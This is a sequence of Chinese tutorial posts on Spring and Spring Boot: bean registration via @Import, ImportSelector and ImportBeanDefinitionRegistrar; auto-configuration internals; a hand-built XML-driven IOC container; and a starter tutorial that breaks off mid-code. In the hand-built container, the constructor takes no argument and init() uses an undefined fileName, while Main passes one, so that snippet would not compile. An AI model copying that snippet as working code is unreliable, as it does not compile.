【框架源码】Spring源码底层IOC容器加入对象的方式
1.Spring容器加入对象方式简介使用XML配置文件在XML配置文件中使用< bean >标签来定义Bean,通过ClassPathXmlApplicationContext等容器来加载并初始化Bean。使用注解使用Spring提供的注解,例如@Component、@Service、@Controller、@Repository等注解来标识Bean然后通过@ComponentScan等注解扫描器来加载并初始化Bean。使用Java配置可以使用Java代码来配置Bean,例如使用@Configuration和@Bean注解来定义Bean然后通过AnnotationConfigApplicationContext等容器来加载并初始化Bean。使用Import注解使用@Import注解来引入其他配置类,然后通过容器加载并初始化Bean@Import注解提供了三种用法直接Import导入ImportSelector接口批量ImportBeanDefinitionRegistrar条件注册2.import注解导入Bean实操(1)import注解简介import注解是Spring框架中的一个注解,用于在一个配置类中引入其他配置类或者普通的Java类通过@Import注解,可以将其他配置类或者Java类中定义的Bean引入到当前配置类中默认的bean名称是【类全限定名,即包名+类名】(2)import注解源码@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
public @interface Import {
Class<?>[] value();
}创建汽车相关的接口以及类实体Bean//汽车接口
public interface Car {
}
//奔驰类
@Data
@NoArgsConstructor
@AllArgsConstructor
public class BenChiCar implements Car{
private String name = "奔驰汽车";
}
//宝马类
@Data
@NoArgsConstructor
@AllArgsConstructor
public class BaoMaCar implements Car{
private String name = "宝马汽车";
}
//奥迪类
@Data
@NoArgsConstructor
@AllArgsConstructor
public class AoDiCar implements Car{
private String name = "奥迪汽车";
}
创建配置类Manager@Configuration
@Import(value = {BaoMaCar.class, AoDiCar.class, BenChiCar.class})
public class CarBeanManager {
}主类测试public class Main {
public static void main(String[] args) {
AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext();
//扫描指定的包,包括子包
context.scan("com.lixiang");
//里面完成初始化操作,核心方法
context.refresh();
Map<String, Car> beansOfType = context.getBeansOfType(Car.class);
beansOfType.forEach((k,v)-> System.out.println(k+"="+v));
}
}
3.ImportSelector批量导入Bean实操(1)importSelector批量导入简介ImportSelector 接口用于实现动态注册Bean的功能,【批量】导入对象到容器里,根据条件动态地选择需要注册的Bean,并加入Spring容器实现ImportSelector接口,这个接口的selectImports方法会返回一个String数组,数组中的值就是要添加的组件的全类名(2)importSelector源码public interface ImportSelector {
//该方法的返回值是一个String数组,用于指定需要注册的Bean的类名。
String[] selectImports(AnnotationMetadata importingClassMetadata);
@Nullable
default Predicate<String> getExclusionFilter() {
return null;
}
}
(3)案例实战我们还是用Car这几个实体Bean,批量导入到Spring容器,自定义选择器实现ImportSelector接口。public class MyImportSelector implements ImportSelector {
@Override
public String[] selectImports(AnnotationMetadata annotationMetadata) {
return new String[] {"com.lixiang.domain.AoDiCar","com.lixiang.domain.BaoMaCar","com.lixiang.domain.BenChiCar"};
}
}
在我们的Manager中修改import值@Configuration
//只需要引入MyImportSelector即可
@Import(value = {MyImportSelector.class})
public class CarBeanManager {
}
主类测试public class Main {
public static void main(String[] args) {
AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext();
//扫描指定的包,包括子包
context.scan("com.lixiang");
//里面完成初始化操作,核心方法
context.refresh();
Map<String, Car> beansOfType = context.getBeansOfType(Car.class);
beansOfType.forEach((k,v)-> System.out.println(k+"="+v));
}
}
4.BeanDefinitionRegistrar动态注册Bean实操(1)ImportBeanDefinitionRegistrar接口简介ImportBeanDefinitionRegistrar是Spring框架中的一个接口,用于实现动态注册Bean的功能ImportBeanDefinitionRegistrar可以在运行时动态地向Spring容器中注册BeanDefinition与ImportSelector不同的是,ImportSelector只能返回需要注册的Bean的类名在使用@Import注解时,将实现ImportBeanDefinitionRegistrar接口的类引入到当前配置类中,实现动态注册Bean的功能(2)ImportBeanDefinitionRegistrar源码public interface ImportBeanDefinitionRegistrar {
/**
* @param importBeanNameGenerator
* @param annotationMetadata 当前类的注解相关信息
* @param registry IOC容器里面bean的注册信息
*/
default void registerBeanDefinitions(
AnnotationMetadata importingClassMetadata,
BeanDefinitionRegistry registry,
BeanNameGenerator importBeanNameGenerator) {
registerBeanDefinitions(importingClassMetadata, registry);
}
/**
* @param annotationMetadata 当前类的注解相关信息
* @param registry IOC容器里面bean的注册信息
*/
default void registerBeanDefinitions(
AnnotationMetadata importingClassMetadata,
BeanDefinitionRegistry registry) {
}
}
(3)案例实战现在我们有一个场景,当宝马汽车、奥迪汽车、奔驰汽车都存在时,新创建一个新能源汽车创建新能源汽车主类@Data
@NoArgsConstructor
@AllArgsConstructor
public class NewEnergyCar implements Car{
private String name = "新能源汽车";
}
创建自定义的ImportBeanDefinitionRegistrarpublic class MyImportBeanDefinitionRegistrar implements ImportBeanDefinitionRegistrar {
@Override
public void registerBeanDefinitions(AnnotationMetadata annotationMetadata, BeanDefinitionRegistry beanDefinitionRegistry) {
/**
* 可以通过该方法进行手动注册
*/
boolean adCar = beanDefinitionRegistry.containsBeanDefinition("com.lixiang.domain.AoDiCar");
boolean bmCar = beanDefinitionRegistry.containsBeanDefinition("com.lixiang.domain.BaoMaCar");
boolean bcCar = beanDefinitionRegistry.containsBeanDefinition("com.lixiang.domain.BenChiCar");
if (adCar && bmCar && bcCar){
//IOC容器加个混合对象
BeanDefinition beanDefinition = new RootBeanDefinition(NewEnergyCar.class);
beanDefinitionRegistry.registerBeanDefinition("newEnergyCar",beanDefinition);
}
}
}
配置Manager中import的值@Configuration
@Import(value = {MyImportSelector.class,MyImportBeanDefinitionRegistrar.class})
public class CarBeanManager {
}
主类测试public class Main {
public static void main(String[] args) {
AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext();
//扫描指定的包,包括子包
context.scan("com.lixiang");
//里面完成初始化操作,核心方法
context.refresh();
Map<String, Car> beansOfType = context.getBeansOfType(Car.class);
beansOfType.forEach((k,v)-> System.out.println(k+"="+v));
}
}
(4)BeanDefinition 介绍Spring容器中最重要的概念之一,它是容器创建和管理Bean实例的基础,对Bean的定义信息的抽象和封装描述一个Bean的定义信息,包括Bean的名称、类型、作用域、属性等信息可以对Bean的创建和管理进行详细的配置和控制,例如可以指定Bean的作用域、是否懒加载、是否自动注入等属性
【框架源码】SpringBoot核心源码解读之自动配置源码分析
SpringBoot流行之前,程序员大多是用SSM框架整合来进行WEB后端开发。这种方式非常麻烦,需要手动引入大量的包,还要配置很多XML文件,光是搭建环境就需要很久。基于这种的SSM中xml配置的繁琐,后来衍生出SpringBoot。SpringBoot中的自动装载,大大简化了开发者对于配置的相关信息。问题:什么是SpringBoot自动配置?当spring容器启动后,一些自动配置类通过@Conditional注解自动装配的IOC容器中不需要手动去注入,简化了开发,省去了繁琐的配置自动配置的相关工作就在 @SpringBootApplication这个注解上我们来看一下@SpringBootApplication这个注解。@Target({ElementType.TYPE}) //注解的作用范围,用在类,接口,注解等上面
@Retention(RetentionPolicy.RUNTIME) //注解生命周期,runtime,保留在运行时期
@Documented //可以被文档化
@Inherited //可以被子类继承
@SpringBootConfiguration //里面是@Configuration属于配置类
@EnableAutoConfiguration //启动自动配置功能
//配置扫描包
@ComponentScan(
excludeFilters = {@Filter(
type = FilterType.CUSTOM,
classes = {TypeExcludeFilter.class}
), @Filter(
type = FilterType.CUSTOM,
classes = {AutoConfigurationExcludeFilter.class}
)}
)
public @interface SpringBootApplication
@SpringBootApplication 是一个复合注解,由几个核心的注解组成。@SpringBootConfiguration里面是 @Configuration,代表是一个配置类,说明主程序类也是一个配置类@EnableAutoConfiguration@AutoConfigurationPackage 将指定的一个包下的所有组件导入到容器当中在@AutoConfigurationPackage 注解中存在一个 @Import({Registrar.class}) 注解,自动配置包就是通过这个完成的。@ComponentScan指定扫描哪些组件,默认是扫描主程序所在的包以及其子包它的核心在于@EnableAutoConfiguration这个注解,这里面是加载自动配置的类信息。@EnableAutoConfiguration注解核心内容@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Inherited
@AutoConfigurationPackage //自动配置包
@Import(AutoConfigurationImportSelector.class) //通过import导入满足条件的bean,并加载到spring的ioc容器里面
public @interface EnableAutoConfiguration
@AutoConfigurationPackage注解核心内容Registrar的作用是扫描包,默认是把主类所在的包和子包里面全部类扫描进容器里面所以为什么开发springboot项目需要把主类放到最外层目录,不然就对的注解类就找不到@Import(AutoConfigurationPackages.Registrar.class) //把Registrar导入到spring容器里面
核心逻辑为这段逻辑,一会我们会断点进行调试。 //获取主程序所在的目录为位置,metadata是元注解信息
@Override
public void registerBeanDefinitions(AnnotationMetadata metadata,
BeanDefinitionRegistry registry) {
register(registry, new PackageImport(metadata).getPackageName());
}
下面,我们来看一下@Import(AutoConfigurationImportSelector.class)这个里面都做了哪些操作。其核心就是通过import导入满足条件的bean, 把springboot应用里面符合@Configuration的类,加载到spring的ioc容器里面 //用于实现动态注册Bean的功能,【批量】导入对象到容器里,根据条件动态地选择需要注册的Bean,并加入Spring容器
//实现ImportSelector接口,这个接口的selectImports方法会返回一个String数组,数组中的值就是要添加的组件的全类名
public String[] selectImports(AnnotationMetadata annotationMetadata) {
if (!isEnabled(annotationMetadata)) {
return NO_IMPORTS;
}
//加载元数据信息
AutoConfigurationMetadata autoConfigurationMetadata = AutoConfigurationMetadataLoader
.loadMetadata(this.beanClassLoader);
//获取需要自动装载的类的信息
AutoConfigurationEntry autoConfigurationEntry = getAutoConfigurationEntry(
autoConfigurationMetadata, annotationMetadata);
return StringUtils.toStringArray(autoConfigurationEntry.getConfigurations());
}
ok,我们再来看一下getAutoConfigurationEntry()这个方法的逻辑。这个方法主要是根据指定的注解元数据获取自动配置的条目。protected AutoConfigurationEntry getAutoConfigurationEntry(
AutoConfigurationMetadata autoConfigurationMetadata,
AnnotationMetadata annotationMetadata) {
//判断是否启用了自动配置
if (!isEnabled(annotationMetadata)) {
return EMPTY_ENTRY;
}
AnnotationAttributes attributes = getAttributes(annotationMetadata);
//获取候选自动配置类列表
List<String> configurations = getCandidateConfigurations(annotationMetadata,
attributes);
//去除重复的自动配置类
configurations = removeDuplicates(configurations);
//获取需要排除的自动配置类列表
Set<String> exclusions = getExclusions(annotationMetadata, attributes);
//检查是否存在需要排除的自动配置类
checkExcludedClasses(configurations, exclusions);
//将需要排除的类从自动配置类列表中移除
configurations.removeAll(exclusions);
//获取配置类过滤器,对候选自动配置类列表进行过滤
configurations = filter(configurations, autoConfigurationMetadata);
//触发自动配置导入事件,并返回一个新的自动配置条目
fireAutoConfigurationImportEvents(configurations, exclusions);
return new AutoConfigurationEntry(configurations, exclusions);
}
我们来看看getCandidateConfigurations()这里面核心逻辑就是去META-INF/spring.factories这个文件中去拉取全部的配置信息。 protected List<String> getCandidateConfigurations(AnnotationMetadata metadata,
AnnotationAttributes attributes) {
List<String> configurations = SpringFactoriesLoader.loadFactoryNames(
getSpringFactoriesLoaderFactoryClass(), getBeanClassLoader());
Assert.notEmpty(configurations,
"No auto configuration classes found in META-INF/spring.factories. If you "
+ "are using a custom packaging, make sure that file is correct.");
return configurations;
}
public static final String FACTORIES_RESOURCE_LOCATION = "META-INF/spring.factories";
好的,接下来我们来调试走下源码流程。ok,我们来总结一下,SpringBoot自动装载的全流程。首先,加载一下元数据信息获取需要自动装载的类的信息判断是否启用了自动配置获取候选自动配置类列表获取需要排除的自动配置类列表检查是否存在需要排除的自动配置类将需要排除的类从自动配置类列表中移除获取配置类过滤器,对候选自动配置类列表进行过滤触发自动配置导入事件,并返回一个新的自动配置条目注册Bean的定义列表
【框架源码】手写Spring框架IOC容器核心流程
要是想要了解Spring IOC底层,首先我们就得先了解什么是IOC。IOC就是控制反转,把对象创建和对象之间的调用过程交给Spring进行管理。使用IOC目的就是之前我们创建对象的方式都是用new的方式创建,这个方式有个缺点,被创建对象的类的位置一旦被改动,new就会报错,类与类之间的关联度太大,为了降低耦合度,将创建对象交给IOC容器处理。IOC底层原理也是运用主要技术包括:xml解析、工厂设计模式、反射。IOC主要是通过内部工厂类解析配置文件id属性对应的class属性,利用反射Class.forName()方法,参数是class属性值,来回去对应的类,进而获取对象下面我们就来用自己的方式来实现Spring IOC的核心功能点。Spring IOC 核心功能点如下:支持读取xml文件,创建多个bean提供接口根据id获取容器bean根据xml配置,需要支持对象注入功能支持判断容器里面是否存在bean和获取class类型采用适当的接口抽取和封装,使用方式和spring框架基本类似这是我们在Spring框架中创建Bean的方式:接下来,我们就按照Spring的这中创建Bean的方式自定义一个简易的IOC框架。创建一个maven项目。首先,我们先加入一个依赖,然后创建一些环境测试类,OrderMapper、OrderService、OrderServiceImpl、beans.xml。 <!--JDOM 是一种使用 XML 的独特 Java 工具包,用于快速开发 XML 应用程序。JDOM 是一个开源项目,它基于树形结构,利用纯 Java 的技术对 XML 文档实现解析、生成、序列化及多种操作。-->
<dependencies>
<dependency>
<groupId>org.jdom</groupId>
<artifactId>jdom</artifactId>
<version>2.0.2</version>
</dependency>
</dependencies>
public class OrderMapper {
public void saveOrder(String orderNo){
System.out.println("当前订单:"+orderNo+" 已经落入数据库。");
}
}
public interface OrderService {
void saveOrder(String orderNo);
}
public class OrderServiceImpl implements OrderService {
//注意这个OrderMapper 的 set、get方法一定要写,我们一会用反射的机制去设置属性。
private OrderMapper orderMapper;
public OrderMapper getOrderMapper() {
return orderMapper;
}
public void setOrderMapper(OrderMapper orderMapper) {
this.orderMapper = orderMapper;
}
@Override
public void saveOrder(String orderNo) {
orderMapper.saveOrder(orderNo);
}
}
<?xml version="1.0" encoding="UTF-8" ?>
<beans>
<bean id="orderMapper" class="com.lixiang.mapper.OrderMapper">
</bean>
<bean id="orderService" class="com.lixiang.service.impl.OrderServiceImpl">
<property name="orderMapper" bean="orderMapper" />
</bean>
</beans>
ok,准备完测试类,我们来定义BeanFactory,仿照Spring的方式,定义几个方法。/**
* @author lixiang
* @date 2023/5/22 08:26
*/
public interface BeanFactory {
/**
* 根据名称获取bean
* @param name
* @return
*/
Object getBean(String name);
/**
* 判断bean是否在容器里面
* @param name
* @return
*/
boolean containsBean(String name);
/**
* 根据名称获取bean的类型
* @param name
* @return
*/
Class<?> getType(String name) ;
}
然后创建ClassPathXmlApplicationContext,上下文对象,用于加载resources下的xml文件。/**
* @author lixiang
* @date 2023/5/22 08:29
*/
public class ClassPathXmlApplicationContext implements BeanFactory{
/**
* 定义map用于存放bean
*/
private Map<String,Object> beans = new HashMap<>();
public ClassPathXmlApplicationContext() throws Exception {
//init 方法 做 解析和注入
init();
}
/**
* 初始化,核心就在这个
*/
private void init() throws Exception {
SAXBuilder saxBuilder = new SAXBuilder();
//获取资源路径的xml文件
InputStream resourceAsStream = this.getClass().getClassLoader().getResourceAsStream(fileName);
//将xml文件构建成Document
Document document = saxBuilder.build(resourceAsStream);
//获取根结点的Element,对应的就是beans
Element rootElement = document.getRootElement();
//获取下面的bean节点
List<Element> elements = rootElement.getChildren("bean");
//遍历
for (int i = 0; i < elements.size(); i++) {
Element element = elements.get(i);
//获取id属性
String id = element.getAttributeValue("id");
//获取class信息
String clazz = element.getAttributeValue("class");
//反射创建对象
Object obj = Class.forName(clazz).getDeclaredConstructor().newInstance();
//放到map中存储
beans.put(id, obj);
//判断属性中是否有需要注入的对象
for(Element propertyElement: element.getChildren("property")){
//获取名称
String name = propertyElement.getAttributeValue("name");
//获取bean的定义
String bean = propertyElement.getAttributeValue("bean");
//获取bean
Object beanObject = beans.get(bean);
//设置set方法
String methodName = "set" + name.substring(0,1).toUpperCase() + name.substring(1);
Class<?> aClass = beanObject.getClass();
//反射将属性设置进去
Method m = obj.getClass().getMethod(methodName,aClass);
m.invoke(obj, beanObject);
}
}
}
@Override
public Object getBean(String name) {
return beans.get(name);
}
@Override
public boolean containsBean(String name) {
return beans.containsKey(name);
}
@Override
public Class<?> getType(String name) {
if(beans.containsKey(name)){
return beans.get(name).getClass();
}
return null;
}
}
创建测试主函数,按照之前Spring 创建的方式写。/**
* @author lixiang
* @date 2023/5/22 08:11
*/
public class Main {
public static void main(String[] args) throws Exception {
String fileName= "beans.xml";
ClassPathXmlApplicationContext applicationContext = new ClassPathXmlApplicationContext(fileName);
OrderService orderService = (OrderService)applicationContext.getBean("orderService");
orderService.saveOrder("202388474754758834");
boolean containsBean = applicationContext.containsBean("orderService");
System.out.println(containsBean);
Class<?> type = applicationContext.getType("orderService");
System.out.println(type.getName());
}
}
我们先看运行结果,没有问题,对象被创建,并且调用方法。那么下面我们看debug看下它是怎么执行的,核心逻辑就在于init方法。Spring中顶层类 BeanFactory最核心的接口之一,主要负责创建和管理bean对象实例,具体包括定义、加载、实例化和维护Bean之间的依赖关系等主要作用加载Bean的配置信息:BeanFactory根据XML文件中定义的Bean信息构造Bean实例,并装载到容器中。实例化Bean:BeanFactory在Bean的定义信息加载后,利用Java反射机制来实例化Bean,并根据依赖关系装配Bean实例。维护Bean之间的依赖关系:BeanFactory能够自动识别Bean之间的依赖关系,实现Bean的依赖注入提供统一的配置方式:BeanFactory可以将所有Bean的配置信息放在一起,提供统一的配置入口。对Bean进行作用域管理:BeanFactory负责对Bean的作用域进行管理,如:单例、多例等。BeanFactory 只是个接口,并不是IOC容器的具体实现,Spring容器给出了很多种实现,ClassPathXmlApplicationContext 使用XML配置AnnotationConfigApplicationContext 使用注解配置ApplicationContext、ConfigurableApplicationContextBeanFactory、ListableBeanFactory总结BeanFactory是顶层接口,定义多数最基础的API,称为【基础容器】对应BeanFactory的子类ApplicationContext,可以基于不同需求拓展更多的功能,称为【高级容器】这样的设计避免全部功能都集中在一个类,分散到不同接口,实现的时候根据需求选择即可
从零开始的Spring Boot自动配置学习和starter制作教程
现在的Java后端开发中,Spring Boot早已被广泛使用,使用它,我们轻轻松松地就可以搭建起一个后端服务,发挥出你无限的创造力。
为什么Spring Boot可以这么方便呢?在Spring Boot问世之前,Spring为什么又会让人觉得繁琐呢?
这很大程度得益于Spring Boot的自动配置机制,并且在Spring Boot生态中,有着非常多的starter。
Spring Boot的Starter指的是利用Spring Boot自动配置机制,完成一些依赖的Bean的预先配置的一种依赖,能够帮助我们一键引入依赖,自动完成某些Bean的配置。
所以什么是自动配置机制?starter到底做了什么?Spring Boot到底方便在哪里?
可能刚刚开始学习后端开发,仅仅接触过Spring Boot而没有从事单纯的Spring开发的同学,脑袋里会有这些问号。
没关系,今天我们从零开始,了解一下Spring框架是如何配置各种外部依赖的,以及Spring Boot的starter到底省略了那些事情。
在这之前,大家需要先搞清楚Spring框架的一些核心概念例如依赖注入、控制反转、IoC容器是什么、Spring Bean是什么等等。
1,从编写一个外部库为例开始
无论是使用Spring框架开发,还是Spring Boot,我们都需要引入很多外部库依赖例如连接数据库的、安全框架等等。引入依赖之后,要想将依赖中需要的类作为Bean交给IoC容器托管,就需要做一些配置。
这里我们自己开发一个简单的外部库,用作简单的日志打印功能,这个外部库有以下功能:
输出info和warn类型的日志
允许用户配置输出日志时是否显示时间
开发了这个外部库之后,我们来对比一下通过Spring引用并配置这个外部库,以及将其做成Starter后在Spring Boot引用,这两种情景下有什么区别。
言归正传,我们开始第一步吧。
先创建一个空的Maven项目,不需要任何依赖,编写存放日志配置的类LogConfig:
package com.gitee.swsk33.logcoredemo.config;
/**
* 日志功能的配置类
*/
public class LogConfig {
/**
* 是否显示时间
*/
private boolean showTime;
// 对应getter和setter方法
public boolean isShowTime() {
return showTime;
}
public void setShowTime(boolean showTime) {
this.showTime = showTime;
}
}
这就是一个简单的POJO类。
然后创建我们的核心逻辑功能类LogService:
package com.gitee.swsk33.logcoredemo.service;
import com.gitee.swsk33.logcoredemo.config.LogConfig;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
/**
* 日志功能类
*/
public class LogService {
/**
* 日志配置字段(需要用户注入,因此这个字段要有Setter方法)
*/
private LogConfig config;
// config字段的setter方法
public void setConfig(LogConfig config) {
this.config = config;
}
/**
* 工具类:获取当前时间字符串
*
* @return 当前时间字符串
*/
private String getTimeString() {
// 自定义时间格式:年/月/日-时/分/秒
DateTimeFormatter format = DateTimeFormatter.ofPattern("yyyy/MM/dd-HH:mm:ss");
// 时间对象转换成自定义的字符串形式
return LocalDateTime.now().format(format);
}
/**
* 输出告示类消息
*
* @param message 日志消息
*/
public void info(String message) {
// 根据配置判断是否输出时间
String messageString = config.isShowTime() ? "[INFO] " + getTimeString() + " " + message : "[INFO] " + message;
System.out.println(messageString);
}
/**
* 输出警告类消息
*
* @param message 日志消息
*/
public void warn(String message) {
// 根据配置判断是否输出时间
String messageString = config.isShowTime() ? "[WARN] " + getTimeString() + " " + message : "[WARN] " + message;
System.out.println(messageString);
}
}
里面的代码很简单,这里不再详细介绍了。
好的,我们的外部库就开发完成了!现在在项目目录下执行mvn clean install命令将其安装至本地Maven仓库,使得待会可以引用这个外部库。
在这里这个外部库的groupId是com.gitee.swsk33,artifactId是log-core-demo,version是1.0.0,这里大家自己在pom.xml设定好即可。
2,在Spring项目中引用并配置这个外部库
好的,假设现在有一个一个使用Spring框架的开发者(下文将这个开发者称作外部库使用者),需要使用我们的日志外部库,并将其中需要使用的服务类LogService交给Spring的IoC容器托管,这样除了引用这个外部库之外,还需要定义一些Bean的配置。
再创建一个空的Maven项目,引入Spring依赖以及我们的日志外部库依赖等等:
<!-- Spring 上下文 -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>6.0.9</version>
</dependency>
<!-- 调用我们的日志核心外部库 -->
<dependency>
<groupId>com.gitee.swsk33</groupId>
<artifactId>log-core-demo</artifactId>
<version>1.0.0</version>
</dependency>
仅仅是引入依赖,依赖中的服务类并不会被Spring框架实例化为Bean并放入IoC容器,因为外部库中的类不仅没有标注@Component等等注解,也没有说包含XML文件。
所以使用Spring框架的开发者在这时还需要手动地配置一下Bean,才能在后续开发时通过IoC容器取出对应的服务类的Bean并正常使用。
这位开发者可能使用XML的方式配置:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 定义日志库中的配置类的Bean -->
<bean id="logConfig" class="com.gitee.swsk33.logcoredemo.config.LogConfig">
<!-- 配置为显示时间 -->
<property name="showTime" value="true"/>
</bean>
<!-- 定义日志库中的服务类的Bean,并注入配置 -->
<bean id="logService" class="com.gitee.swsk33.logcoredemo.service.LogService">
<!-- 将上述的配置Bean注入进来 -->
<property name="config" ref="logConfig"/>
</bean>
</beans>
也可以是通过注解的方式,创建配置类进行配置:
package com.gitee.swsk33.springannotationbased.config;
import com.gitee.swsk33.logcoredemo.config.LogConfig;
import com.gitee.swsk33.logcoredemo.service.LogService;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
/**
* 用于日志外部库的配置类:将日志库中需要的类注册为Bean
*/
@Configuration
public class LogServiceConfig {
/**
* 实例化一个日志配置类,并设定配置,然后注册为Bean
*/
@Bean
public LogConfig logConfig() {
LogConfig config = new LogConfig();
// 设定显示时间
config.setShowTime(true);
return config;
}
/**
* 将LogService类实例化,并注册为Bean,并注入配置对象依赖
*/
@Bean
public LogService logService(LogConfig logConfig) {
LogService logService = new LogService();
logService.setConfig(logConfig);
return logService;
}
}
无论如何,也就是说如果要将对应的对象交给Spring框架托管,那么开发者需要为外部库中的类编写Bean配置,才能够使用。
以注解的方式为例,配置完成后,才能从IoC容器中取出LogService类的Bean并使用:
package com.gitee.swsk33.springannotationbased;
import com.gitee.swsk33.logcoredemo.service.LogService;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
import org.springframework.context.annotation.ComponentScan;
@ComponentScan
public class Main {
public static void main(String[] args) {
// 创建IoC容器,基于注解的
ApplicationContext context = new AnnotationConfigApplicationContext(Main.class);
// 从容器中取出日志服务对象并调用
LogService logService = context.getBean(LogService.class);
logService.info("调用日志服务!");
logService.warn("调用日志服务!");
}
}
我们这里的日志外部库中的类比较简单,实际开发中许多外部库中的类,及其依赖关系都是很复杂的,因此开发者在利用Spring框架开发并引用它们的时候,都需要为这些外部库的对应类编写Bean配置,可见这是比较麻烦的。
毕竟你不知道你所使用的外部库中的类是否都标注了@Component等注解,也不知道外部库的开发者是否编写了XML配置,所以你需要自己为外部库中的类配置Bean的定义。
3,使用Spring Boot的自动配置机制解决上述麻烦
引入依赖后还要写配置,这实在是太麻烦了!能不能引入依赖后就直接使用呢?
当然,Spring Boot的自动配置机制就实现了这一点,当然,这是借助starter依赖完成的。
(1) 自动配置机制概述
Spring Boot自动配置机制是尝试根据开发者添加的jar依赖项,自动配置Spring应用程序。
例如前面我们引入了日志外部库,那么自动配置机制就会自动地将这个外部库中的类初始化为Bean,而无需像前面一样先手动配置Bean。
自动配置是如何完成的呢?
可以说,要想自动配置一个外部库中的类,至少需要下列两个东西:
自动配置类
自动配置候选类配置文件
这两样东西,通常就放在一个称作starter的依赖中,然后starter就会被打包发布,外部库的使用者引用即可。
下面,我们先单独看看starter中的这两个东西是什么。
1. 自动配置类
在上述使用Spring框架引入外部库时,要手动地给外部库中的类LogService和LogConfig编写Bean的定义配置,那么外部库的开发者能不能预先编写好这些Bean的配置呢而不是我们使用者去编写呢?
当然可以,根据这个思路,外部库开发者可以定义一个配置类,在其中通过@Bean标注的方法,创建对应的类的Bean对象,以及约定好默认配置,然后交给IoC容器托管。外部库开发者完成了Bean的定义编写,是不是就不需要我们外部库使用者去编写Bean的配置了呢?
这里所说的配置类,就是starter中的自动配置类。自动配置类就是一个普通的标注了@Configuration的类,其中使用标注了@Bean的方法完成对Bean的定义,这就是自动配置类完成的工作,自动配置类由外部库开发者编写并放在starter中。
2. 自动配置候选类配置文件
到这里又有一个问题了,开发者确实先定义好了一个自动配置类,但是我们知道Spring框架并不是会扫描所有的类的,那是不是说明我们还要通过@ComponentScan注解配置一下外部库的包路径呢?
当然不是了!不然怎么体现出自动配置中的“自动”这个特点呢?
所以外部库的开发者除了编写完成自动配置类之外,还需要编写一个自动配置候选类配置文件放在starter中,这个配置文件中就是声明哪些类是自动配置类,这样Spring Boot的自动配置机制会去先读取这些自动配置候选类的配置文件,找到所有的自动配置类后,再去加载这些自动配置类,完成自动配置。
自动配置候选类配置文件也是包含在starter中的,并且放在固定的位置。
在Spring Boot启动时,会扫描所有的外部库的classpath下所有的META-INF/spring.factories文件(Spring Boot 2.x版本),在这个文件中读取哪些类需要被读取以进行自动配置,可见这个META-INF/spring.factories文件就是我们所说的自动配置候选类配置文件。
Spring Boot应用程序默认开启了自动配置功能,因为Spring Boot的主类上通常有@SpringBootApplication这个注解,而这个注解中包含了@EnableAutoConfiguration注解,这个注解就是用于开启自动配置功能的,至于其底层原理,就不在此赘述了!
这里说明一下,Spring Boot 2.x版本和3.x版本的自动配置候选类的配置文件是不一样的:
Spring Boot 2.x启动时,是扫描所有的外部库classpath下所有的META-INF/spring.factories文件
Spring Boot 3.x启动时,是扫描所有的外部库classpath下所有的META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports文件
classpath表示类路径,可以理解为Java程序编译并打包为jar文件后jar包内的路径,在Maven项目中,项目目录下的src/main/resources目录就对应着classpath的根路径/。
外部库开发者完成了自动配置类的编写以及自动配置候选类配置文件的编写,就可以将其打包为starter并发布,我们引入starter即可!这样Spring Boot启动时,扫描到starter中的自动配置候选类配置文件并读取到需要加载的配置类,就能够完成配置类加载。外部库的使用者只需要引入starter作为依赖,然后直接就可以从IoC容器中获取外部库中需要用的类的Bean了!
(2) 为我们的日志外部库制作一个starter
讲解了这么多的自动配置机制,大家可能还是不知道starter里面到底装着啥,所以我们现在就为我们上述的日志外部库编写一个starter。
1. 创建starter工程
首先创建一个新的Spring Boot依赖,并勾选Spring Configuration Processor依赖:
然后在pom.xml中,删除spring-boot-starter-test依赖,以及build部分,这些是不需要的:
然后把项目中的主类和resources目录下的配置文件也删掉,这也是用不着的:
这样,一个空的starter工程就创建完成了!
在这里,starter工程中通常有两个关键依赖大家可以看一下:
<!-- Spring Boot Starter 支持 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>
<!-- Spring Boot Starter 配置生成器 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-configuration-processor</artifactId>
<optional>true</optional>
</dependency>
2. 加入日志外部库依赖
这个starter是为我们的日志外部库制作的,当然要在这个工程中加入日志外部库作为依赖了!当然主要目的是我们可以引用到外部库中的类并实例化为Bean然后交给IoC容器。
<!-- 引入我们的外部库 -->
<dependency>
<groupId>com.gitee.swsk33</groupId>
<artifactId>log-core-demo</artifactId>
<version>1.0.0</version>
</dependency>
3. 编写配置属性读取类
在上述日志外部库中,有LogConfig类专门用于存放用户的配置信息,这个类中的配置值是可以由外部库使用者自定义的。
我们也知道在Spring Boot中可以让使用者把配置写在application.properties配置文件中,然后我们读取,现在我们就创建一个这样的配置读取类:
package com.gitee.swsk33.logspringboot2starter.properties;
import lombok.Data;
import org.springframework.boot.context.properties.ConfigurationProperties;
/**
* 用于读取配置文件(application.properties或application.yml)中的配置的属性配置类
*/
@Data
@ConfigurationProperties(prefix = "com.gitee.swsk33.log-core-demo")
public class LogConfigProperties {
/**
* 是否显示时间(默认为false)
*/
private boolean showTime = false;
}
利用@ConfigurationProperties注解,即可将Spring Boot配置文件中的对应配置读取并赋予到这个类的对应属性中,以实现我们自定义配置值,这里就不再过多赘述这个注解的作用了!
4. 编写自动配置类
这里就是starter的核心了!创建上述所说的自动配置类,这个类就是用于在其中约定好对应的Bean对象,并交给IoC容器托管:
package com.gitee.swsk33.logspringboot2starter.autoconfigure;
import com.gitee.swsk33.logcoredemo.config.LogConfig;
import com.gitee.swsk33.logcoredemo.service.LogService;
import com.gitee.swsk33.logspringboot2starter.properties.LogConfigProperties;
import org.springframework.beans.factory.annotation.Autowired;
